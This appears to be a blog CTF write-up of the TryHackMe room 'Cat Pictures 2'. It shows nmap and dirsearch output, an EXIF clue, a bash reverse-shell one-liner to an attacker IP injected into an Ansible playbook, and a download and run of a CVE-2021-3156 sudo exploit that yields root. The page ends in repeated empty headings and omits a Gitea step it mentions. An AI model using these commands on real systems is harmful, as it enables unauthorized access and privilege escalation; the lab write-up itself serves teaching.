Enumeration#

Let’s begin with a rapid Nmap scan.#

1
root@Fs:.../CTFs/catpictures2# nmap -sCV -oN nmap 10.10.44.70
2
# Nmap 7.80 scan initiated Mon Jul  3 19:58:08 2023 as: nmap -sCV -oN nmap 10.10.44.70
3
Nmap scan report for 10.10.44.70
4
Host is up (0.079s latency).
5
Not shown: 996 closed ports
6
PORT     STATE SERVICE VERSION
7
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
8
| ssh-hostkey:
9
|   2048 33:f0:03:36:26:36:8c:2f:88:95:2c:ac:c3:bc:64:65 (RSA)
10
|   256 4f:f3:b3:f2:6e:03:91:b2:7c:c0:53:d5:d4:03:88:46 (ECDSA)
11
|_  256 13:7c:47:8b:6f:f8:f4:6b:42:9a:f2:d5:3d:34:13:52 (ED25519)
12
80/tcp   open  http    nginx 1.4.6 (Ubuntu)
13
| http-robots.txt: 7 disallowed entries
14
|_/data/ /dist/ /docs/ /php/ /plugins/ /src/ /uploads/
15
|_http-title: Lychee
16
222/tcp  open  ssh     OpenSSH 9.0 (protocol 2.0)
17
8080/tcp open  http    SimpleHTTPServer 0.6 (Python 3.6.9)
18
|_http-title: Welcome to nginx!
19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
20

21
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
22
# Nmap done at Mon Jul  3 19:58:29 2023 -- 1 IP address (1 host up) scanned in 21.17 seconds

#

1
*80 — lychee*
2
*8080 — python http server*
3
*22,222 — ssh*

Performing a scan using Dirsearch#

1
  _|. _ _  _  _  _ _|_    v0.4.2
2
 (_||| _) (/_(_|| (_| )
3

4
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
5

6
Output File: /root/.dirsearch/reports/10.10.187.79/-_23-07-06_21-12-01.txt
7

8
Error Log: /root/.dirsearch/logs/errors-23-07-06_21-12-01.log
9

10
Target: http://10.10.187.79/
11

12
[21:12:01] Starting:
13
[21:12:03] 301 -  193B  - /robots.txt
14
[21:12:04] 403 -  579B  - /.git/
15
[21:12:04] 403 -  579B  - /.github/
16
[21:12:04] 403 -  579B  - /.git/refs/
17
[21:12:04] 403 -  579B  - /.git/objects/
18
[21:12:04] 200 -  154B  - /.github/ISSUE_TEMPLATE.md
19
[21:12:04] 200 -  274B  - /.gitignore
20
[21:12:04] 200 -  630B  - /.htaccess
21
[21:12:07] 200 -  387B  - /.user.ini
22
[21:12:09] 200 -    1KB - /LICENSE
23
[21:12:10] 200 -    5KB - /README.md

I attempted to gather information by exploring the .git repository and robots.txt file, but unfortunately, I didn’t find anything of interest.

After some time, I managed to discover interesting information from the EXIF data extracted from an image.

1
root@Fs:.../CTFs/catpictures2# exiftool f5054e97620f168c7b5088c85ab1d6e4.jpg
2
ExifTool Version Number         : 12.40
3
File Name                       : f5054e97620f168c7b5088c85ab1d6e4.jpg
4
Directory                       : .
5
File Size                       : 71 KiB
6
File Modification Date/Time     : 2022:11:07 19:44:37+01:00
7
File Access Date/Time           : 2023:07:06 21:20:55+01:00
8
File Inode Change Date/Time     : 2023:07:06 21:19:41+01:00
9
File Permissions                : -rw-r--r--
10
File Type                       : JPEG
11
File Type Extension             : jpg
12
MIME Type                       : image/jpeg
13
JFIF Version                    : 1.01
14
Resolution Unit                 : inches
15
X Resolution                    : 72
16
Y Resolution                    : 72
17
Profile CMM Type                : Little CMS
18
Profile Version                 : 2.1.0
19
Profile Class                   : Display Device Profile
20
Color Space Data                : RGB
21
Profile Connection Space        : XYZ
22
Profile Date Time               : 2012:01:25 03:41:57
23
Profile File Signature          : acsp
24
Primary Platform                : Apple Computer Inc.
25
CMM Flags                       : Not Embedded, Independent
26
Device Manufacturer             :
27
Device Model                    :
28
Device Attributes               : Reflective, Glossy, Positive, Color
29
Rendering Intent                : Perceptual
30
Connection Space Illuminant     : 0.9642 1 0.82491
31
Profile Creator                 : Little CMS
32
Profile ID                      : 0
33
Profile Description             : c2
34
Profile Copyright               : IX
35
Media White Point               : 0.9642 1 0.82491
36
Media Black Point               : 0.01205 0.0125 0.01031
37
Red Matrix Column               : 0.43607 0.22249 0.01392
38
Green Matrix Column             : 0.38515 0.71687 0.09708
39
Blue Matrix Column              : 0.14307 0.06061 0.7141
40
Red Tone Reproduction Curve     : (Binary data 64 bytes, use -b option to extract)
41
Green Tone Reproduction Curve   : (Binary data 64 bytes, use -b option to extract)
42
Blue Tone Reproduction Curve    : (Binary data 64 bytes, use -b option to extract)
43
XMP Toolkit                     : Image::ExifTool 12.49
44
Title                           : :8080/764efa883dda1e11db47671c4a3bbd9e.txt
45
Image Width                     : 720
46
Image Height                    : 1080
47
Encoding Process                : Baseline DCT, Huffman coding
48
Bits Per Sample                 : 8
49
Color Components                : 3
50
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
51
Image Size                      : 720x1080
52
Megapixels                      : 0.778

this part Title : :8080/764efa883dda1e11db47671c4a3bbd9e.txt

Gaining access#

Given our knowledge of Ansible Runner (Olivetin) on port 1337, which enables the execution of Ansible playbooks, I intend to replace the existing “echo” command with a reverse shell.

1
bash -c "bash -i >& /dev/tcp/10.18.81.1/14632 0>&1"

After obtaining a shell, I discovered an “id_rsa” file, which I utilized to establish a more stable shell. Subsequently, I attempted to exec Linpeas on the server to conduct further enumeration and analysis.

1
bismuth@catpictures-ii:~$ ls
2
flag2.txt

Priv-Esc#

we have a vulnerable sudo version here. After patiently waiting during the Linpeas scan, I stumbled upon an interesting CVE (Common Vulnerabilities and Exposures) in the target machine. To gather more information, I conducted a Google search and came across a GitHub proof-of-concept (! POC) related to the discovered vulnerability.

Let’s set up a Python3 server to share the CVE details with the target.

1
root@Fs:.../www/html# ll
2
total 9.6M
3
drwxr-xr-x 3 root  root  4.0K Jul  5 18:01 CVE-2021-3156/
4
-rw-r--r-- 1 root  root  3.1M Jun  4 05:27 linpeas_linux_amd64
5
-rwxrwxr-x 1 achux achux 817K Jun  6 16:41 linpeas.sh*
6
-rw-rw-r-- 1 achux achux 5.7M Jun  5 23:55 nmap
7
-rw-r--r-- 1 root  root   18K Jun  6 15:42 PwnKit
8
root@Fs:.../www/html# webup
9
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

! note : webup /=/ alias “webup=‘python3 -m http.server 8000’”

1
bismuth@catpictures-ii:/$ cd /tmp; wget -r 10.18.81.222/CVE-2021-3156/

let’s go aHead to explore the CVE

1
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ls
2
brute.sh  hax.c  lib.c  Makefile  README.md
3
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ make
4
rm -rf libnss_X
5
mkdir libnss_X
6
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
7
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
8
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ls
9
brute.sh  hax.c  lib.c  libnss_X  Makefile  README.md  sudo-hax-me-a-sandwich
10
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
11

12
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
13

14
  usage: ./sudo-hax-me-a-sandwich <target>
15

16
  available targets:
17
  ------------------------------------------------------------
18
    0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27
19
    1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
20
    2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
21
  ------------------------------------------------------------
22

23
  manual mode:
24
    ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
25

26
bismuth@catpictures-ii:/tmp/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
27

28
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
29

30
using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
31
** pray for your rootshell.. **
32
[+] bl1ng bl1ng! We got it!
33
# id
34
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),115(lpadmin),116(sambashare),1000(bismuth)
35
#

And now we have pwned the machine I appreciate your patience❤️

Music

Music

Enumeration#

Let’s begin with a rapid Nmap scan.#

#

Performing a scan using Dirsearch#

#

Upon obtaining this information, we realized that there is a Gitea server running on port 3000, and we have obtained valid credentials for it.#

Gaining access#

Priv-Esc#

Share Article

Music

Table of Contents

Music

Music

Cat Pictures 2 (TryHackMe): Information Disclosure via Exposed Git Repo

Enumeration#

Let’s begin with a rapid Nmap scan.#

#

Performing a scan using Dirsearch#

#

Upon obtaining this information, we realized that there is a Gitea server running on port 3000, and we have obtained valid credentials for it.#

Gaining access#

Priv-Esc#

Share Article

Music

Table of Contents